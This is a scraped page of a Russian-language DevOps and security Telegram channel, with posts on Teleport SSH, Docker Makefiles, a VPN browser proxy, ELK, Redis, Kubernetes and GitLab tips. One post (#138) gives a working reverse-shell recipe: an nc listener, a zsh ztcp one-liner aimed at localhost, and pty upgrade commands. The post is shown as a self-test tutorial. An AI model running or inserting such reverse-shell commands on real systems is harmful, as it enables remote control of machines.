TGViewer
Channel Public Channel
Сочный DevOps

Сочный DevOps

@andtree_sec

От CI/CD до SIEM, SOC и безопасности — здесь делюсь опытом, мыслями и полезняшками на стыке DevOps и безопасности. Всё сочное — в «Сочном DevOps».
Subscribers
420
Photos
8
Videos
0
Links
52

Showing posts older than #143 · Back to latest

Older Posts 20 shown
Post #142 101
ansible, ssh + teleport

Если у вас точкой входа в инфраструктуру является teleport, то полезно будет иметь ввиду вот такой конфиг для SSH.

Host <hosts>
UserKnownHostsFile "~/.tsh/known_hosts"
IdentityFile "~/.tsh/keys/<teleport_domain>/<user_name>"
CertificateFile "~/.tsh/keys/<teleport_domain>/<user_name>-ssh/teleport-cert.pub"

Host <hosts>
Port <port_number>
ProxyCommand "/usr/local/bin/tsh" proxy ssh --cluster=<teleport_cluster_name> --proxy=<teleport_domain> %r@%h:%p



Тут особой магии нет, ssh использует команду tsh proxy ssh для туннелирования трафика через teleport proxy. Подключиться через ssh:

ssh -F /path/to/ssh_config



Если используется ansible, то следует указать в конфигурационном файле об использовании кастомного конфига:

[ssh_connection]
ssh_args = -F /path/to/config


Тут есть нюанс. Я использовал конфиг с параметром:
scp_if_ssh = True


И получал ошибку:
"msg": "failed to transfer file to



Т.е. ansible не мог скопировать файл в связке с телепорт через scp. Дефолтный SFTP отработал прекрасно, после выставления параметра в False.

#ansible
Post #141 95
Makefile для локальной сборки docker

DOCKER?=docker
DOCKER_COMPOSE?=$(shell if command -v "docker compose" >/dev/null 2>&1; then echo "docker compose"; else echo "docker-compose"; fi)
DOCKER_COMPOSE_PATH=docker/docker-compose.yml

.DEFAULT_GOAL := help
.PHONY: all
all: help
@echo $(COMMIT)--

help:
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'

MODULE := <module_name>
REGISTRY ?= <registry/path>
IMAGE := $(REGISTRY)/$(MODULE)
CONTAINERNAME := <container_name>
BUILDX_CONTAINER := buildx_builder
PLATFORM ?= linux/amd64,linux/arm64
BUILD_DATE ?= $(shell date -u +'%Y-%m-%dT%H:%M:%SZ')
TAG ?= $(shell git rev-parse --short=8 HEAD)

.PHONY: docker-build
docker-build: docker/Dockerfile ## Build Docker image
$(DOCKER) buildx inspect ${BUILDX_CONTAINER} >/dev/null 2>&1 || $(DOCKER) buildx create --name ${BUILDX_CONTAINER}
$(DOCKER) buildx use ${BUILDX_CONTAINER}
$(DOCKER) buildx build --provenance=true --platform ${PLATFORM} -t ${IMAGE}:${TAG} -t ${IMAGE}:latest --build-arg BUILD_DATE=${BUILD_DATE} -f docker/Dockerfile .

.PHONY: docker-load
docker-load: docker-build ## Load Docker image
$(DOCKER) buildx inspect ${BUILDX_CONTAINER} >/dev/null 2>&1 || $(DOCKER) buildx create --name ${BUILDX_CONTAINER}
$(DOCKER) buildx use ${BUILDX_CONTAINER}
$(DOCKER) buildx build --load -t ${IMAGE}:${TAG} -t ${IMAGE}:latest --build-arg BUILD_DATE=${BUILD_DATE} -f docker/Dockerfile .

.PHONY: docker-build ## Push Docker image
docker-push: ## Push Docker image to internal registry
$(DOCKER) buildx inspect ${BUILDX_CONTAINER} >/dev/null 2>&1 || $(DOCKER) buildx create --name ${BUILDX_CONTAINER}
@echo "Pushing image to internal registry...\n"
$(DOCKER) buildx use ${BUILDX_CONTAINER}
$(DOCKER) buildx build --provenance=true --platform ${PLATFORM} -t ${IMAGE}:${TAG} -t ${IMAGE}:latest --build-arg BUILD_DATE=${BUILD_DATE} -f docker/Dockerfile --push .

.PHONY: docker-start
docker-start: ## Start Docker container
$(DOCKER_COMPOSE) -f ${DOCKER_COMPOSE_PATH} up

.PHONY: docker-stop
docker-stop: ## Stop Docker Container
$(DOCKER_COMPOSE) -f ${DOCKER_COMPOSE_PATH} down

.PHONY: docker-rm
docker-rm: docker-stop ## Delete Docker Container
$(DOCKER) rm ${CONTAINERNAME}

.PHONY: docker-clean
docker-clean: docker-rm ## Clean
$(DOCKER) rmi ${IMAGE}:${TAG}

.PHONY: docker-shell
docker-shell: ## Start shell in running Docker container
@$(DOCKER) exec -it ${CONTAINERNAME} bash

.PHONY: docker-logs
docker-logs: ## Show Docker container logs
@$(DOCKER) logs ${CONTAINERNAME}

.PHONY: docker-ps
docker-ps:
@$(DOCKER) ps -f name=${CONTAINERNAME}

.PHONY: docker-status
docker-status: docker-ps ## List running Docker containers

.PHONY: docker-ip
docker-ip: ## List IP of running Docker container
@$(DOCKER) inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ${CONTAINERNAME}


Предполагает наличие Dockerfile и docker-compose.yml в корне проекта в директории docker.

make docker-build - просто собрать образ, не сохранив в локальный реестр.

make docker-load - собрать образ и сохранить в локальный реестр.

make docker-push - собрать и запушить в registry.

make docker-start - запустить docker-compose.

И прочее, что иногда может пригодится. Удобно для локали.

#docker
Post #139 81
Настраиваем vpn для браузера

У меня уже есть vps с openvpn на борту. Понадобилось использовать его для трафика в браузере, основной трафик идет через рабочий vpn.

Для реализации сделаем docker контейнер с openvpn клиентом и прокси, который будет подключаться к openvpn серверу. В браузере можно будет использовать расширение FoxyProxy или аналог, для "заворачивания" трафика через localhost (наш прокси контейнер).

Мой Dockerfile:
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
openvpn \
dante-server \
&& rm -rf /var/lib/apt/lists/*
COPY proxy_client.ovpn /etc/openvpn/proxy_client.ovpn

COPY dante.conf /etc/danted.conf
COPY start.sh /start.sh
RUN chmod +x /start.sh
EXPOSE 1080
CMD ["/start.sh"]



proxy_client.ovpn - мой конфиг клиента openvpn. В качестве прокси будет использоваться dante-server.

Конфиг прокси-сервера dante.conf:

logoutput: stderr
internal: 0.0.0.0 port = 1080
external: tun0
socksmethod: none
user.privileged: root
user.notprivileged: nobody

client pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: connect disconnect
}

socks pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
log: connect disconnect
}



И скрипт запуска start.sh:
#!/bin/bash
openvpn --config /etc/openvpn/proxy_client.ovpn &
sleep 10
danted -f /etc/danted.conf



Собрать образ можно командой:
docker build -t browser_proxy .



В FoxyProxy используем 127.0.0.1 в качестве хоста и 1080 порт. Тип подключения - SOCKS5.

Для удобства запуска создадим docker-compose файл:

version: '3.8'
services:
browser_proxy:
image: browser_proxy
cap_add:
- NET_ADMIN
devices:
- /dev/net/tun
dns:
- 8.8.8.8
ports:
- "1080:1080"
restart: always



И systemd service:
[Unit]
Description=Browser Proxy Docker Compose
After=docker.service
Requires=docker.service

[Service]
Restart=on-failure
WorkingDirectory=/home/andrei/ru_proxy
ExecStart=/usr/bin/docker-compose up
ExecStop=/usr/bin/docker-compose down
TimeoutStartSec=120

[Install]
WantedBy=multi-user.target



Теперь можно запускать через systemctl, не забыв перед этим активировать прокси в FoxyProxy.
Post #138 68
Обратный shell в zsh

Reverse shell-ить будем сами себя. Включаем прослушивание порта через nc и rlwrap, он немного стабилизирует shell.
rlwrap -cAr nc -lvnp 9000


Подключаемся:
zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 9000 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'


Получить более стабильный shell, как если бы это был ssh, можно с помощью python:
python3 -c 'import pty; pty.spawn("/bin/bash")'


Или же через bash:
script /dev/null -c bash


Способов множество, удобный онлайн генератор можно найти тут.

#reverse_shell
Post #137 65
ELK для локальных утех

Небольшая моя реализация стека ELK для локальных экспериментов.
Внутри vagrant и init.sh скрипт, который развернет на одной ноде elasticsearch, kibana, logstash. Конфигов под logstash нет, тут предполагается, что их добавят самостоятельно, если нужно. Также автоматически поставится nginx, который будет работать как обратный прокси к kibana и будет обслуживать домен kibana.lan. Это в свою очередь предполагает наличие локального DNS с соответствующей записью. Установки и настройки DNS внутри репозитория нет.

Перед запуском нужно в Vagrantfile отредактировать IP адресс и название bridge интерфейса:
Vagrant.configure("2") do |config|

config.vm.box = "bento/ubuntu-22.04"
config.vm.box_check_update = false
config.vm.provision "shell", path: "init.sh"
config.vm.hostname = "elk"
config.vm.network "public_network", ip: "192.168.10.21", bridge: "wlp0s20f3" ###Заменить на свои

config.vm.synced_folder "./", "/vagrant"

config.vm.provider "virtualbox" do |vb|
vb.cpus = 1
vb.memory = 4096
vb.gui = false
vb.name = "elk"
vb.check_guest_additions = false
end
end

В скрипте init.sh, если например не нужен nginx, можно просто за комментировать строку с вызовом функции install_nginx. Там же можно задать креды для UI kibana и для общения кибана с elastic.

Запуск:
vagrant up


#elk
Post #136 74
Находим ключи в редис с бесконечным TTL и "удаляем"

На одном из проект понадобилось провернуть схему, где нужно было найти ключи в редис кластере с бесконечным TTL (-1) и выставить им конечный, чтобы они автоматически "протухли".

Небольшой скрипт на python для решения этой задачи:
import asyncio
from redis.asyncio import RedisCluster
from redis.asyncio.cluster import ClusterNode

REDIS_HOST = "master-ip"
REDIS_PORT = 6379
REDIS_PASSWORD = "<pass>"
TTL_TO_SET = 10000
SCAN_COUNT = 300
BATCH_SIZE = 100

async def process_keys(node, client, cursor=0):
while True:
cursor, keys = await node.execute_command("SCAN", cursor, "COUNT", SCAN_COUNT)
if keys:
ttl_tasks = [client.ttl(key) for key in keys]
ttls = await asyncio.gather(*ttl_tasks)

tasks = [
client.pexpire(key, TTL_TO_SET)
for key, ttl in zip(keys, ttls)
if ttl == -1
]
if tasks:
for i in range(0, len(tasks), BATCH_SIZE):
await asyncio.gather(*tasks[i:i + BATCH_SIZE])
if cursor == 0:
break

async def no_expiry_process(client: RedisCluster):
master_nodes = client.get_primaries()
print(f"[+] Found {len(master_nodes)} master nodes.")
tasks = [process_keys(node, client) for node in master_nodes]
await asyncio.gather(*tasks)
await client.aclose()

async def main():
client = RedisCluster(
startup_nodes=[
ClusterNode(REDIS_HOST, REDIS_PORT),
],
password=REDIS_PASSWORD,
decode_responses=True,
)
await client.initialize()
await no_expiry_process(client=client)

if __name__ == "__main__":
asyncio.run(main())


Редис кластер из 6 нод, но нам понадобятся только мастера. Первый из них укажем в качестве REDIS_HOST, остальные получим в коде. Далее мы пробегаемя по всем мастер нодам и выставляем бесконечным ключам TTL равный 10 секундам.

Для запуска можно использовать venv:
python -m venv .redis_clean
source .redis_clean/bin/activate
pip install redis
python script.py


Время выполнения на 3 мастер узлах, на каждом из которых около 25к ключей с TTL -1 заняло примерно 44 секунды.

#scripting
Post #135 64
Декадируем секрет k8s с сохранением структуры

Предположим есть секрет вида:
data:
var1: base64
var2: base64


Чтобы сразу декодировать данные и получить их в том же формате вместе с ключами, можно воспользоваться следующей командой:
kubectl get secret <secret_name> -n <namespace> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'


В итоге получим:
var1: value
var2: value


#kubernetes
Post #134 61
Интересный кейс с temporal

Словил на одном проекте, в котором используется temporal ошибку:

ListWorkflowExecutions operation failed. Select failed: Error 1146: Table 'temporal_visibility.custom_search_attributes' doesn't exist

Вроде все понятно, таблица не создалась, хотя миграции (используем официальный чарт) прошли успешно и часть таблиц есть в базе, но вот реально нужной действительно нет.

Пофиксить можно руками, обычно вместе с темпоралом ставится конетйнер с admintools, внутри него нужно сделать export нужных для работы с СУБД переменных
export SQL_PLUGIN=mysql8
export SQL_HOST=<db_host>
export SQL_PORT=3306
export SQL_USER=<db_user>
export SQL_PASSWORD=<db_password>
export SQL_DATABASE=temporal_visibility


Затем выполнить команды установки схемы с перезаписью:
temporal-sql-tool setup-schema --version 0.0 --schema-name mysql/v8/visibility --overwrite


Таблица появится в базе. Ошибка уйдет.

#temporal
Post #133 51
Доставка syslog в elastic

Простой пример, как можно доставлять syslog с linux машин в elasticsearch.
Для сбора логов на целевой машине я буду использовать вектор. У меня ubuntu 22.04, установить vector можно так:
bash -c "$(curl -L https://setup.vector.dev)"
sudo apt-get install vector


Далее приведем его конфигурационный файл /etc/vector/vector.yaml к следующему виду:
sources:
syslog:
type: file
include:
- /var/log/syslog
ignore_older: 86400

sinks:
logstash:
inputs:
- syslog
type: socket
address: "<logstash_ip>:<logstash_port>"
mode: tcp
encoding:
codec: text


И запустим vector:
sudo systemctl enable vector
sudo systemctl start vector


Затем на машине с logstash создадим конфиг /etc/logstash/conf.d/syslog.conf:
input {
tcp {
port => 5044
codec => plain {
charset => "UTF-8"
}
}
}

filter {
grok {
match => { "message" => "%{SYSLOGLINE}" }
}
date {
match => [ "timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
timezone => "UTC"
}
}

output {
elasticsearch {
hosts => ["https://<elastic_ip>:9200"]
user => "<elastic_user>"
password => "<elastic_password>"
index => "syslog-%{+YYYY.MM.dd}"
ssl => true
ssl_certificate_verification => false
}
}


Перезапускаем logstash:
sudo systemctl restart logstash


Уже после этого мы должны увидеть новый индекс в кибане, далее нужно создать data view и можно просматривать документы.

#elk
Post #132 55
Нагрузочное тестирование с k6

Пример скрипта на js для k6:
import http, { head } from 'k6/http';
import { check, sleep } from 'k6';

const BASE_URL = ""

const headers = {
'Header': 'value',
'Header': 'value'
}

export let options = {
vus: 2, // пользователи
duration: '1m', // время выполнения
thresholds: {
'http_reqs': ['rate>=1000'], // RPS
},
};

function checkResponseStatus(response, expectedStatus) {
check(response, {
[`is status ${expectedStatus}`]: (r) => r.status === expectedStatus,
});
}

function one() {
let url = `${BASE_URL}/ep1`
let response = http.get(url, { headers: headers});
checkResponseStatus(response, 200);
sleep(1);
}

function two() {
let url = `${BASE_URL}/ep2`
let response = http.get(url, { headers: headers});
checkResponseStatus(response, 200);
sleep(1);
}

export default function () {
one();
two();
}


Тут нужно добавить BASE_URL и headers, если они нужны. Само собой поправить endpoints. Пример базовый, но подойдет для большинства тестов конкретного приложения.

vus - количество пользователей.
duration - продолжительность выполнения.
thresholds - в данном случае количество RPS при достижении которого тест считается успешным.

Установить k6s на ubuntu 22.04 можно так:
sudo gpg -k
sudo gpg --no-default-keyring --keyring /usr/share/keyrings/k6-archive-keyring.gpg --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys C5AD17C747E3415A3642D57D77C6C491D6AC1D69
echo "deb [signed-by=/usr/share/keyrings/k6-archive-keyring.gpg] https://dl.k6.io/deb stable main" | sudo tee /etc/apt/sources.list.d/k6.list
sudo apt-get update
sudo apt-get install k6


Запуск:
k6 run load.js


#k6
Post #131 51
Заметка по elastalert

Для тех кто использует elastalert для алертинга по логам.
Сам инструмент предназначен для работы с 5 или 6 elasticsearch, но факту может успешно работать и с 7 или 8 elastic.
Для этого в конфигах правил elastalert нужно добавить поле doc_type: ""

Пример правила:
name: "Too many 529 response code Android"
type: frequency
index: android-*
use_count_query: True
doc_type: "" ### Добавляем это поле для 7 или 8 elasticsearch
num_events: 3000
run_every:
minutes: 3
timeframe:
minutes: 3
filter:
- term:
response: "529"


На сайте немного подробней про некоторые нюансы работы elastalert и немного правок в его коде.

#elastalert
Post #130 47
Сборка deb пакета openssl-3.3.1

Понадобилась данная версия на одном из проектов. В репозиториях под 24.04 ubuntu ее нет. Что ж, соберем руками и сделаем .deb пакет.
Установка нужных зависимостей:
sudo apt update
sudo apt install zlib1g-dev build-essential checkinstall fakeroot dpkg-dev devscripts wget vim


Скачиваем нужную версию openssl:
wget https://www.openssl.org/source/openssl-3.3.1.tar.gz
tar -xzf openssl-3.3.1.tar.gz
cd openssl-3.3.1


Конфигурим и собираем. Ставить будем в отдельную директорию, иначе проблемы с системными зависимостями замучают:
./config --prefix=/opt/openssl-3.3.1 \
--openssldir=/opt/openssl-3.3.1/ssl \
shared zlib
make


Установка во временный каталог для создания пакета:
mkdir -p ../openssl-package/DEBIAN
make DESTDIR=$(pwd)/../openssl-package install_sw


DESTDIR указывает на временный каталог, куда будут установлены файлы для последующей упаковки.

Создадим файл для управления пакетов в ../openssl-package/DEBIAN/control со следующим содержимом:
Package: openssl
Version: 3.3.1-1
Section: utils
Priority: optional
Architecture: amd64
Maintainer: Ваше Имя <you@example.com>
Description: OpenSSL 3.3.1 custom build installed in /opt
OpenSSL is a robust, commercial-grade, full-featured Open Source Toolkit for the TLS and SSL protocols.


Собираем пакет:
cd ..
dpkg-deb --build openssl-package openssl_3.3.1-1_amd64.deb


Устанавливаем собранный пакет:
dpkg -i openssl_3.3.1-1_amd64.deb


Так как ставили мы все по не стандартным путям, нужно указать это системе:
echo 'export PATH=/opt/openssl-3.3.1/bin:$PATH' | tee /etc/profile.d/openssl.sh
echo '/opt/openssl-3.3.1/lib64' | tee /etc/ld.so.conf.d/openssl.conf
ldconfig
echo 'export PKG_CONFIG_PATH=/opt/openssl-3.3.1/lib64/pkgconfig:$PKG_CONFIG_PATH' | tee -a /etc/profile.d/openssl.sh
source /etc/profile.d/openssl.sh


Проверяем:
root@86f5719b0a02:/# which openssl
/opt/openssl-3.3.1/bin/openssl
root@86f5719b0a02:/# openssl version
OpenSSL 3.3.1 4 Jun 2024 (Library: OpenSSL 3.3.1 4 Jun 2024)


Если пакет потом планируется ставить при сборке какого-либо контейнера, то в Dockerfile лучше сделать вот так для настройке путей:
ENV PATH="/opt/openssl-3.3.1/bin:${PATH}"
ENV LD_LIBRARY_PATH="/opt/openssl-3.3.1/lib64:${LD_LIBRARY_PATH}"
ENV PKG_CONFIG_PATH="/opt/openssl-3.3.1/lib64/pkgconfig:${PKG_CONFIG_PATH}"
RUN echo "/opt/openssl-3.3.1/lib64" > /etc/ld.so.conf.d/openssl.conf && \
ldconfig


#linux
Post #129 53
Мобильный клиент для vdsina

Если вдруг кто-то, как и я пользуется VPS от vdsina, то у меня есть небольшой мобильный клиент под android. Работает через их открытое API. В приложении нет рекламы и этот пост тоже не реклама)
Код доступен на моем github.
Скачать APK можно отсюда.

Вирусов и прочего нет, пароли не крадутся=)
Приложения нет в сторах, потому что для этого нужно было получить разрешение от vdsina, но мои письма они про игнорировали. Поэтому залил в открытый доступ приложение и код, возможно кому-то будет полезно.
В репозитории есть также ссылка на небольшое демо.
Post #128 46
Кластер keydb для локальной разработки

Ниже конфиг для docker-compose, который позволяет запустить keydb в режиме кластера.
services:
keydb1:
image: eqalpha/keydb:x86_64_v6.2.2
command: [ "keydb-server", "--port", "6379", "--cluster-enabled", "yes", "--cluster-config-file", "/data/nodes.conf", "--cluster-node-timeout", "5000", "--appendonly", "yes", "--active-replica", "yes", "--protected-mode", "no" ]
volumes:
- keydb1-data:/data
ports:
- "6379:6379"
networks:
keydb-cluster-net:
ipv4_address: 172.30.0.2

keydb2:
image: eqalpha/keydb:x86_64_v6.2.2
command: [ "keydb-server", "--port", "6379", "--cluster-enabled", "yes", "--cluster-config-file", "/data/nodes.conf", "--cluster-node-timeout", "5000", "--appendonly", "yes", "--active-replica", "yes", "--protected-mode", "no" ]
volumes:
- keydb2-data:/data
ports:
- "6380:6379"
networks:
keydb-cluster-net:
ipv4_address: 172.30.0.3

keydb3:
image: eqalpha/keydb:x86_64_v6.2.2
command: [ "keydb-server", "--port", "6379", "--cluster-enabled", "yes", "--cluster-config-file", "/data/nodes.conf", "--cluster-node-timeout", "5000", "--appendonly", "yes", "--active-replica", "yes", "--protected-mode", "no" ]
volumes:
- keydb3-data:/data
ports:
- "6381:6379"
networks:
keydb-cluster-net:
ipv4_address: 172.30.0.4

networks:
keydb-cluster-net:
driver: bridge
ipam:
config:
- subnet: 172.30.0.0/24

volumes:
keydb1-data:
keydb2-data:
keydb3-data:

Используем отдельную подсеть и статические адреса, это нужно для анонса создания кластера в следующем шаге. Также добавляем volume, чтобы сохранить состояние и не перезапускать скрипт инициализации кластера каждый раз.

Скрипт для создания кластера, выполнять нужно после того, как запустили keydb из docker-compose:
#!/bin/bash

declare -a keydb_ips
port=6379

keydb_container_ids=($(docker ps | grep keydb | awk '{print $1}'))

for id in ${keydb_container_ids[*]};do
ip=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $id)
keydb_ips+=("$ip:$port")
done

docker exec -it ${keydb_container_ids[0]} keydb-cli --cluster create ${keydb_ips[*]} --cluster-replicas 0


Тут просто получаем список id контейнеров с keydb, по нему получаем их ip адреса, а далее в любом контейнере (в данном случае в первом из массива) выполняем создание кластера.

После можно подключиться к кластеру так:
keydb-cli -h localhost


И проверить его статус:
cluster info


Должны увидеть cluster_state: ok.

При перезапуске, запускать скрипт инициализации не нужно.

#docker
#keydb
Post #127 44
QoS класс Garanteed вместе в vault-webhook

Если вы как и я используете vault-inject в vault-secret-webhook, то выставить QoS класс Garanteed не получится, потому что initContainer, который добавляет автоматически хук имеет ресурсы, отличные от тех, что должны соответствовать Garanteed классу.
Порешать в целом просто, нужно переопределить в самом волт хуке, нужные env, задав реквесты и лимиты равными вот тут.

Пример env:
VAULT_ENV_MEMORY_REQUEST: "64Mi"
VAULT_ENV_MEMORY_LIMIT: "64Mi"
VAULT_ENV_CPU_REQUEST: "250m"
VAULT_ENV_CPU_LIMIT: "250m"


#kubernetes
Post #126 43
Тулза для скачивания всех репозиториев в gitlab

Небольшая CLI утилита, которая позволяет скачать все доступные репозитории в gitlab. Если репозиторий уже скачан, то он будет просто обновлен.
Бывает полезно, когда на работе у вас на поддержке целая куча реп.

Использование с ssh:
gitlab_grabber -t <token> -u <domain> -k -d /<dir> -i <path_to_ssh_private_key>


Использование с http. Тут предполагается, что у вас oauth, то есть включена двухфакторка.
gitlab_grabber -t <token> -u <domain> -k -d /<dir> --auth http


Поставить можно через pip
pip install gitlab-grabber


Для работы нужен python3.11 или выше.
Работает асинхронно, но с ограничением в 20 одновременных (ну почти, это же python) скачиваний, это сделано намеренно, так как GitPython либа - синхронная, поэтому пришлось использовать в asyncio to_thread метод, чтобы не блокировать основной поток. Если репозиториев 100+, то 100+ тредов не самое лучшее решение. Поэтому ограничился 20-ю.

Ссылка на мой github с кодом.
Post #125 43
Пример сборки nuxt приложения

FROM <you nodejs image> AS node_base
WORKDIR /application
USER node

FROM node_base AS node_modules_prod
COPY --chown=node:node package.json .yarnrc yarn.lock ./
RUN --mount=type=secret,id=npm_token,target=/run/secrets/npm_token,uid=10064,gid=10064 \
--mount=type=cache,sharing=locked,target=/home/node/.cache/yarn,id=yarn_cache,uid=10064,gid=10064 \
--mount=type=tmpfs,target=/tmp/ \
export NPM_TOKEN=`cat /run/secrets/npm_token` && \
yarn install --frozen-lockfile --non-interactive --no-progress --prod

FROM node_modules_prod AS node_modules_dev
RUN --mount=type=secret,id=npm_token,target=/run/secrets/npm_token,uid=10064,gid=10064 \
--mount=type=cache,sharing=locked,target=/home/node/.cache/yarn,id=yarn_cache,uid=10064,gid=10064 \
--mount=type=tmpfs,target=/tmp/ \
export NPM_TOKEN=`cat /run/secrets/npm_token` && \
yarn install --frozen-lockfile --non-interactive --no-progress

FROM node_modules_dev AS build
COPY --chown=node:node ./ ./
RUN --mount=type=secret,id=npm_token,target=/run/secrets/npm_token,uid=10064,gid=10064 \
--mount=type=cache,sharing=locked,target=/home/node/.cache/yarn,id=yarn_cache,uid=10064,gid=10064 \
--mount=type=tmpfs,target=/tmp/ \
export NPM_TOKEN=`cat /run/secrets/npm_token` && \
yarn build

FROM node_modules_prod AS app
COPY --from=build /application/.output/server /application/.output/server
COPY --from=build /application/.output/public /application/.output/public
COPY --from=build /application/.output/nitro.json /application/.output/nitro.json
ENTRYPOINT ["/usr/bin/tini","--"]
CMD ["/usr/bin/node",".output/server/index.mjs"]


Используем multistage сборку, финальный образ делаем только из prod зависимостей. Обычно мы публикуем node_module_dev шаг в регистри, его потом можно использовать для различных QA job или линтинга, но в финальном образе dev зависимости естественно не нужны.

mount=type=secret - позволяет безопасно монтировать секрет, полученный например в job ранее, обычно это CI_JOB_TOKEN, который является временным и живет в рамках job. Он обладает правами того, кто ее запустил. А также с использованием данного подхода будет автоматически очищен, после сборки.

mount=type=cache - это кэширование с помощью buildkit. Тут создается временный монтируемый каталог в контейнере на этапе сборки. Сам кэш лежит на ноде (если это настроено на раннере), про него более подробно я писал тут.

sharing=locked - гарантирует, что кэш обновляется только одной сборкой в момент времени.

#docker
Post #124 58
Выпадающее меню в логе джобы gitlab

Например есть у нас какая-то отладочная информация в джобе, которая достаточно большая, возможно это values, скрипты, что-то еще. В гитлаб можно сделать выпадающее меню в логе, при нажатии на которое, будет развернут лог c тем, что мы туда положили.
echo -e "\e[0Ksection_start:`date +%s`:templates[collapsed=true]\r\e[0K$Debug info"
env
echo -e "\e[0Ksection_end:`date +%s`:templates\r\e[0K"


В логах появится строка Debug info, если нажать на нее, то внутри будет вывод команды env.

#gitlab
Post #123 40
Про QoS классы в k8s

QoS классы или классы качества обслуживания определяют, как будет происходить управление ресурсами для каждого пода в завиcимости от request и limits по CPU и памяти.

Существует три класса:
1. Guaranteed - поды получают этот класс, если для всех контейнеров, указанные request и limits совпадают. Такой под будет иметь самые высокие шансы оставаться запущенным, в случае проблем с ресурсами. Тут еще важно помнить про такой параметр у kubelet как --cpu-manager-policy=static. Если установлен этот параметр и под имеет данный класс (Guaranteed), а также контейнерам было выделено целое количество ядер, а не в милликор, то данные ядра как-бы резервируются за этим и только этим подом, то есть никакие другие поды не будут конкурировать за ресурсы с данным подом.

2. Burstable - поды получают данный класс, если хотя бы один из контейнеров имеет request и limit, но эти значения могут не совпадать или могут быть не указаны для некоторых контейнеров. Это позволяет использовать больше ресурсов, если они доступны, но в случае проблем с ними, под будет остановлен.

3. BestEffort - поды получают этот класс, если ни один из контейнеров не имеет ни request, ни limit для CPU или памяти. Такие поды будут иметь самый низкий приоритет и буду первыми подвержены выселению с ноды, при нехватке ресурсов.

Как итог, для критически важных приложений, обычно используют класс Guaranteed, а для всего остального Burstable. BestEffort это что-то из разряда запустить под руками, что-то проверить и удалить.

#kubernetes
Post #122 40
Про affinity и antiAffinity в k8s

В kubernetes благодаря этим свойствам мы можем управлять жестко или не очень тем, где будут размещены наши поды.

Есть два основных типа:
1. Node affinity - управляет тем, на каких узлах следует размещать поды, например по меткам узлов.
2. Pod affinity/AntiAffinity - управляет тем, где поды должны или не должны размещаться, относительно других подов.

У каждого из них есть два основных типа использования:
requiredDuringSchedulingIgnoredDuringExecution - обязательное условие, если по нужным параметрам нода не будет найдена, под "зависнет" в Pending.
preferredDuringSchedulingIgnoredDuringExecution - предпочтительное условие, то есть kubernetes(scheduler) постарается разместить под на подходящих узлах, но не гарантирует этого.

Node Affinity:
Позволяет задавать условия, по которым Pod будет размещен на узле, подходящим по node labels.
Пример размещения пода на узле с меткой disktype=ssd:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: disktype
operator: In
values:
- ssd


У nodeAffinity нет свойства anti, как например у PodAffinity, но похожего поведения можно добиться используя операторы NotIn или DoesNotExist, чтобы исключить узлы с определенными метками.
Пример с исключением запуска подов на узле с лейблом environment=production:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: environment
operator: NotIn
values:
- production


Pod Affinity и Pod AntiAffinity:
Просто affinity (без anti) указывает на то, чтобы поды запускались на узлах, на которых уже есть поды с определенным лейблом.
Пример размещение подов на одном узле с другими подами с лейблом app=frontend:
affinity:
podAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchExpressions:
- key: app
operator: In
values:
- frontend
topologyKey: "kubernetes.io/hostname"


AntiAffinity - противоположность для просто affinity. То есть говорим НЕ размещать поды на узлах, на которых уже есть поды с определенным лейблом.
Пример с лейблом app=backend:
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchExpressions:
- key: app
operator: In
values:
- backend
topologyKey: "kubernetes.io/hostname"


#kubernetes
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →